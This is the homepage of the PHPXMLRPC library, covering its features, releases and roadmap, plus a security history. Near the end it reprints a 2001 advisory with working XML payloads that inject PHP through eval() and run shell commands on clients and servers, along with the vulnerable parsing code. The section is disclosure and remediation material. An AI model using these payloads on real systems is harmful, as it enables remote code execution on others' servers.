Introduction
Welcome to the homepage of "XML-RPC for PHP". It is a library implementing the XML-RPC protocol, written in PHP. It is also known as PHPXMLRPC.
It is designed for ease of use, flexibility and completeness. High speed and reduced memory footprint are not the main goals of the project.
Note that this is not the same library as the one that is part of PEAR. They both share a common ancestry, since the PEAR version is a branch of the original phpxmlrpc library, now independently maintained.
This is also not the library which can be compiled as a php extension and has been bundled with php since version 4.1.0, either.
PHPXMLRPC or derivative versions are or have been used in many open source projects, including Ampache, Xaraya, Drupal (only up to releases 4.6.2 and 4.5.4), PostNuke, b2evolution, nucleus cms, phpmyfaq, phpPgAds, phpgroupware, egroupware, TikiWiki, Civicspace (old release only), MailWatch for MailScanner, WikiTeX and OpenAutonomy.
XML-RPC for PHP was originally developed by Edd Dumbill of Useful Information Company. As of the 1.0 stable release, the project was opened to wider involvement and moved to SourceForge. It is hosted on GitHub since December 2013.
Features
- Support for creating both xmlrpc clients and servers
- Fully automated or fully manual, fine-grained encoding and decoding from php values to xmlrpc
- Support for UTF8, Latin-1 and ASCII character encodings. With the php mbstring extension enabled, even more character sets are supported.
- Support for http compression of both requests and responses, cookies, proxies, basic auth and https, ntlm auth and keepalives with the php cURL extension
- Optional validation of parameter types of incoming xmlrpc request
- Support for system.listMethods, system.methodHelp, system.multicall and system.getCapabilities methods
- Support for the <NIL/> and <EX:NIL/> extensions to xmlrpc
- Possibility to register existing php function or class methods as webservices, extracting value-added information from phpdoc comments
- A web based visual debugger is included with the library
Requirements
- PHP 5.3.0 or later; 5.5 or later recommended
- the php "curl" extension is needed if you wish to use SSL or HTTP 1.1 to communicate with remote servers
- the php "mbstring" extension is needed to allow reception of requests/responses in character sets other than ASCII, LATIN-1, UTF-8
- the php "xmlrpc" native extension is not required, but if it is installed, there will be no interference with the operation of this library.
Download
The latest stable release is version 4.0.0 released on January 20, 2016 (Release notes)
The previous stable release is version 3.0.1 released on April 19, 2015 (Release notes)
News
-
20th of January, 2016
Released lib version 4.0.0.
This is the first time - ever - that the API sees major changes, doing away with the past and starts a transition to modern-day php.
Namespaces have been introduced, and the default character set in use if UTF-8; support for mbstring has been added, and much more.
For a complete list of changes, head on to the announcement on Github
-
19th of April, 2015
Released lib version 3.0.1.
-
15th of June, 2014
Released lib version 3.0.0.
-
15th of December, 2013
The project moved to GitHub
Documentation
- A full user manual for version 4 is not yet available; for the moment the API docs will have to do.
- Documentation for OLD version 3, in HTML or PDF format (note: the PDF version is not always up to date).
For the adventurous there is even an xml+css version (note: better viewing results obtained by Firefox and Opera users) - Documentation for version 1.2.1
- Documentation for version 1.0.99 (older)
Online demo server
A demo server is active at the address http://phpxmlrpc.sourceforge.net/server.php. It exposes functions that can be used for interoperability testing. (the full code for the server is included in the CVS version of the library).
You can see the source code here: http://phpxmlrpc.sourceforge.net/server.php (the xmlrpc server will activate on POST requests, and display its API on GET requests), and auto-generated documentation here
Online xmlrpc debugger
A demo xmlrpc debugger application, built on top of this library, is active at the address http://gggeek.altervista.org/sw/xmlrpc/debugger/. You can use the debugger to e.g. query the SF demo server, or debug your own personal xmlrpc server, if it is accessible on the net.
Development
GitHub home page (downloads, source code and bug tracker).
Mailing lists
Contact
For security related issues feel free to contact ggiunta at users.sourceforge.netRoadmap
A (quite outdated) list of things that might make it into the next release (version 5.0).
See also the list of issues in Github
| Description | Status (SVN) - updated 2009/07/26 |
|---|---|
| Update documentation for all features added since version 2 | Slowly progressing... |
| Add the possibility to choose formatting of the xml messages | Similar to what the php native xmlrpc extension does |
| Fix warnings emitted when running with PHP 5 in STRICT mode | Might have already been done in version 3.0, abandoning php 4 compat... |
| Expand automatic php function to xmlrpc method wrapper to take advantage of exception handling and return xmlrpc error responses | |
| Expand automatic stub generator for automatically converting php functions to xmlrpc methods for PHP <= 5.0.2 | look at AMFPHP code on how to do it. Many enhancements in version 2.1 Now that the server can automatically register php functions there is less need for it... |
| Better support for mbstring when it's enabled | Should make e.g. charset encoding guessing faster |
| Improve support for "version 1" cookies | |
| Add a possibility to use standard error messages instead of the native error codes | |
| PEAR compatibility: add synonyms for functions existing with different names in the PEAR version of the lib | |
| Add support for the system.describeMethods xmlrpc extension | |
| Add to the debugger the capability to launch a complete set of validator1 tests | |
| Examine usability of WSDL for describing exposed services and translation to/from system.methodSignature and system.describeMethods | Some problems exist in using an XSD to strictly define xmlrpc. Relax NG is a definitely better alternative, but there is little support in other toolkits for using it in conjunction with a WSDL file... |
| Support http redirects (302) | |
| Add to sf.net a small database, so that we can implement a validator page that logs incoming users, such as is present on the xmlrpc.com site | |
| Add to benchmark suite the capability to upload results to sf.net | |
| Write a php extension that will accelerate the most heavily used functions of the lib | See how adodb did it for an example |
| Test speed/memory gains using simplexml and relaxng instead of hand parsing of xml |
Security
The third security breach: august 2005
This was a further and proactive response to the second security breach below. All use of eval() has been removed since it was still a potential exploit.
When the library was originally written, the versions of php available at the time did not include call_user_func(), et al. So it was written within those constraints to use eval() in two of the functions called by the xml parser. Due to this usage, the server class also used eval() since it had to parse xml using the same functions.
These handler functions, and the array used to maintain the content of the original message, have been rewritten to construct php values instead of building php code for evaluation. This should remove any potential for code execution.
The second security breach: july 2005
The security vulnerability discovered by James Bercegay of GulfTech Security Research on the the 27th of June, 2005, has caused quite a stir. It has made it to the front page of Salshdot, has been mentioned on Netcraft, LWN and many other sites.
Detailed instructions on building exploit code have been released on the internet, and many web hosting administrators are left wondering what is the best defense plan, and what are the real risks. Here are some answers.
Scope of the problem
- the bug affects the two libraries known as PEAR::XMLRPC and PHPXMLRMPC.
It DOES NOT affect the xmlrpc implementation which is built-in in php and enabled at compile time with the "--with-xmlrpc" option (on Unix, on windows generally it is enabled/disabled by changing the appropriate line in php.ini) - the bug (execution of php-code injected by remote hosts) resides exclusively in the file xmlrpc.inc in the phpxmlrpc distribution and RPC.php in the PEAR distribution
- both PEAR::XMLRPC and PHPXMLRMPC have released updated versions of the library that fix the problem
- both libraries have been used in a large number of php applications (see the incomplete list above).
Since the whole lib consists basically of 2 very simple files, everybody tends to patch them according to its own tastes/needs and bundle them when distributing their app.
Most high-profile projects have been extremely quick in releasing new versions of their respective apps, but it will take a much longer time for every single user to update his system.
It has to be said that many applications had been shipping until recently with extremely outdated versions of the phpxmlrpc library included; a first injection bug had been fixed in 2001 without anyone apparently taking notice (...)
This makes it unfortunately a lot harder for sysadmins to find an easy cure for the problem: there is a great chance that on public hosting servers the aforementioned files will be found in many different directories and in many different versions.
How the vulnerability is triggered
- to trigger the bug an attacker needs to have some specially crafted xml evaluated in the creation process of an xmlrpcval object. Xmlrpcval objects are created when the server script decodes xmlrpc requests or when some php scripts acts as an xmlrpc client and decodes a response sent by a server.
The server script is application specific, and it is often named server.php (but any project- or user-chosen variant is possible), and it has to include both xmlrpc.inc and xmlrpcs.inc files (for the pear version, server.php is the equivalent of xmlrpcs.inc). - Only including xmlrpc.inc and xmlrpcs.inc in php scripts is (afaik...) completely safe, as well as calling them directly via http requests, since only definition of functions, variables and classes is carried out in those two files, i.e. no immediate code execution.
- The server.php and discuss.php files distributed with full the phpxmlrpc lib actually do implement a live xmlrpc server, so you might consider blocking access to them or even better removing them if you find them deployed on production servers (off the top of my mind I can conjure some kind of attack involving a second php app suffering of a takeover-php-file-inclusion breach to pull them in + exploit the lib known bug)
Means of protection
- Give your web server process as little system privileges as you can. On Unix this generally involves running Apache as user nobody and/or in a jailrooted/chrooted environment. Since the PHP engine runs under the same user as the web server, this is the first line of defense: any php code injected by an attacker will run on the server as a least privileged user, and all damage it could do will be limited to disrupting the php application itself
- Run php in safe mode. If you are a public host and are not doing this, chances are your server has been rooted anyway. This prevents the php scripts from using any function you deem to be unsafe, such as system() or eval()
- The hard block: find all the existing phpxmlrpc files (xmlrpc.inc and xmlrpcs.inc) and disable them (chmod 0) across the system.
This may of course prevent some user applications from working so you should inform your users at the time you do it. - The soft block: replace all copies of existing phpxmlrpc files (xmlrpc.inc and xmlrpcs.inc) with the ones coming from version 1.1.1.
This method is unfortunately not 100% guaranteed to keep all apps working. Some internals of the lib objects changed from version 0.9 to 1.0 to 1.1 (e.g. the representation of http headers stored inside an xmlrpcresp object), and if code you have deployed on your servers subclasses them, it might find itself in trouble. The xml sent over-the-wire has changed too with respect to some older versions of the lib (in particular: version 1.0.99.2 wrongly encoded chars outside the ASCII range as html entities, whereas now they are encoded as xml charset entities). A couple of new error response codes have been added, too. Having said that, you should be 95% safe running that script and sit there waiting for users to start yelling something is broken... - the PHP PEAR library is upgradeable with a one-line command, so that's not really a huge problem:
pear upgrade XML_RPC
and to tell whether it's been upgraded (1.3.1 or later is OK, the latest as of now is 1.3.2):
pear list | grep RPC
Some extra considerations
The file xmlrpcs.inc has been patched too in release 1.1.1 to provide a better user experience. In more detail: sending specially crafted malformed xml to a server would cause the php script to emit a php error instead of returning an appropriate xml response.According to some, this actually entails a "path disclosure security breach" (i.e. the php error message displayed usually contains sensitive information about filesystem paths), but then any single PHP script suffers of the same security problem if the sysadmin is running production servers with the ini directive display_errors=On.
I also know for a fact that there are many places in xmlrpc.inc where calling a function with an unexpected parameter will generate a php warning or error, and I am not planning to implement strict parameter check for every single function anytime soon - if you aim for that, imho, you might as well code in java in the first place.
Is this the end of the world?
I hope not.The reason is there are tens of PHP applications out there that suffer from code injection exploits. Just take a look at the security track of bulletin boards... and yet a lot of people still think PHP is a good choice for web development.
Remember: security is a process, not a state that can be reached.
Gaetano Giunta
The first security breach: september 2001
I received this advisory from Dan Libby. With his
permission it is reproduced here. Note that this exploit is fixed
in revisions 1.01 and greater of XML-RPC for PHP.
-- Edd Dumbill
Tue Sep 24 2001
===============
PHP Security Hole: potential XML-RPC exploit
============================================
Abstract:
Using the latest release of Useful Inc's php xmlrpc library, version 1.0,
it is possible for an attacker to structure the xml in such a way as to
trick the xml-rpc library into executing php code on a web server. I
was able to execute arbitrary php code, and with php's safe-mode turned
off, system commands. An attacker could easily use this as a gateway for
launching viruses.
Details:
I demonstrated the problem by modifying the server.php example script
included with the xmlrpc distribution and then calling it via the
client.php script, also part of the distribution. I bypassed the standard
server code, and simply echo'd responses back to the client. I was
able to get the client to execute arbitrary php code. I then restored the
server.php sample to its original state and used telnet to send a modified
request. I was also able to make code execute on the server, albeit requiring
a slightly different syntax.
The attack centers around use of php's eval() function. Since I knew that
the xml-rpc library uses eval to construct its data structures from xml
input, it was just a matter of structuring the input xml in such a
manner that it:
a) is not escaped before being passed to eval
b) does not generate a php syntax error
Normally, all non numeric data is escaped by the library before being
passed to eval. However, it turns out that if you send a <value> tag,
followed by an unexpected tag, such as <foo>, the escaping code will be
bypassed and "raw" data will be evaluated instead.
Exploiting the client:
Here is a typical xml-rpc response:
<?xml version="1.0"?>
<methodResponse>
<params><param>
<value><string>hello world</string></value>
</param></params>
</methodResponse>
When such a response is eval'ed, it looks like:
new xmlrpcval("hello world", "string")
Here is an xml-rpc response that will execute php code to echo "<h1> hello
world </h1>" on the client side:
<?xml version="1.0"?>
<methodResponse>
<params><param>
<value><foo>", "string"); echo "<h1> hello world </h1>"; \$waste = array("</foo></value>
</param></params>
</methodResponse>
In this case, the string that will be eval'ed is:
new xmlrpcval("", "string"); echo "<h1> hello world </h1>"; $waste = array("", 'string')
It is possible to replace everything between "string"); and \$waste with
arbitrary code of just about any length.
Finally, here's one that will print the contents of the current directory:
<?xml version="1.0"?>
<methodResponse>
<params>
<param>
<value><foo>", "string");
echo "<h1><font color=red>if you see a directory listing, I just executed php and system code via xml-rpc.</font></h1>";
echo "now I will attempt a directory listing using ls -al:\n<xmp>"; echo `ls -al`; echo "</xmp>";
echo "I could just have easily invoked rm -rf, or written a program to disk and executed it (eg, a virus)
or read some files. Have a nice day.<br><br>";
exit;
\$waste = array("</foo></value>
</param>
</params>
</methodResponse>
Exploiting the server:
The server exploit is just about the same as the client, except that the
server is using a different eval command, and thus it requires slightly
different begin and ending syntax to avoid php syntax errors.
Here is the same code as above, but it will work against a server.
<?xml version='1.0' encoding="iso-8859-1" ?>
<methodCall>
<methodName>system.listMethods</methodName>
<params>
<param>
<value><test>", "string"));
echo "<h1><font color=red>if you see a directory listing, I just executed php and system code via xml-rpc.</font></h1>";
echo "now I will attempt a directory listing using ls -al:\n<xmp>"; echo `ls -al`; echo "</xmp>";
echo "I could just have easily invoked rm -rf, or written a program to disk and executed it (eg, a virus)
or read some files. Have a nice day.<br><br>";
exit;
$waste = array(array("</test></value>
</param>
</params>
</methodCall>
Problem Area:
in xmlrpc.inc, there is a function called xmlrpc_cd(), which is called by
the xml parser to handle character data.
function xmlrpc_cd($parser, $data) {
global $_xh, $xmlrpc_backslash, $xmlrpc_twoslash;
//if (ereg("^[\n\r \t]+$", $data)) return;
// print "adding [${data}]\n";
if ($_xh[$parser]['lv']==1) {
$_xh[$parser]['qt']=1;
$_xh[$parser]['lv']=2;
}
if ($_xh[$parser]['qt']) { // quoted string
$_xh[$parser]['ac'].=str_replace('\$', '\\$',
str_replace('"', '\"',
str_replace(chr(92),$xmlrpc_backslash, $data)));
}
else
$_xh[$parser]['ac'].=$data;
}
It is the last else that is causing data to be added without escaping. It
is very dangerous to have this. This else seems to be intended for
numeric data, and great pains are taken to set and unset the "qt" (quote)
variable which turns escaping on and off. However, it is not immediately
apparent to me why numeric data should not be similarly escaped, and the
if/else removed, such that there is zero chance for this type of exploit.
Page last updated: 2016/1/24